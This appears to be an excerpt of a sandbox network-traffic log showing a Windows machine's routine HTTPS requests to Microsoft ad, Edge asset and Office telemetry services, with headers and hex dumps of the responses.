2024-11-20 17:57:47 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49862	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:47 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e417e721a23c48d0afa3b18e74b187f4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-338388&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p= Cache-Control: no-cache MS-CV: X3A135pH506y4OIk.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 17:57:47 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: ZUuJmUmni/l5GCSuYctIeGa+estl4bUeS1fcnQTwYGL1P45eUsbSOijX2GjXDfIccgma+DLNWMyHwJt9rmFlKbJCzXLKxMEi2f011wH339qNRMAQYwuFvx6cUgP1fsMLoQSlYERHlGRtq9AlQ9eTL75VkzTiQBGL6Hh8DkGMIF7pH8uqRXgsQ3AQyWITiFv3ZktJ9USSE7veJVqG5a7aFBmKCR2Iki0nCKkKV1dVDdZDm6PEtBli2Bpl8KpbCG/VFc5ymPS47jqUXkJcFqxUvExzqNczuJkegJO+K4+Ih1WEROwxYRq+J2sKcBynImEcIWGUi4UvI1uQ1xpCoDIO9w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:47 GMT Connection: close
2024-11-20 17:57:47 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49863	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:47 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:48 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: b81880c7-201e-0059-5375-3b6d81000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175747Z-r1d97b995777mdbwhC1TEBezag000000095000000000e3sg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:48 UTC	15828	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-20 17:57:48 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-20 17:57:48 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-20 17:57:48 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-20 17:57:48 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:48 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:48 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ccd0155-401e-0015-24f2-3a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175748Z-r1d97b99577ckpmjhC1TEBrzs0000000095000000000q2yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:48 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:48 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175748Z-185f5d8b95crwqd8hC1NYCps680000000agg00000000tnsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:48 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:48 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175748Z-185f5d8b95c96jn4hC1NYCbgp80000000agg00000000vt8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:49 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49850	23.44.203.27	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:48 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
2024-11-20 17:57:49 UTC	1004	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Wed, 20 Nov 2024 17:57:49 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.195.36.243,b=635150812,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.195.36.243 Akamai-Request-ID: 25dba1dc Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.f324c317.1732125469.25dba1dc Vary: Origin
2024-11-20 17:57:49 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:49 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
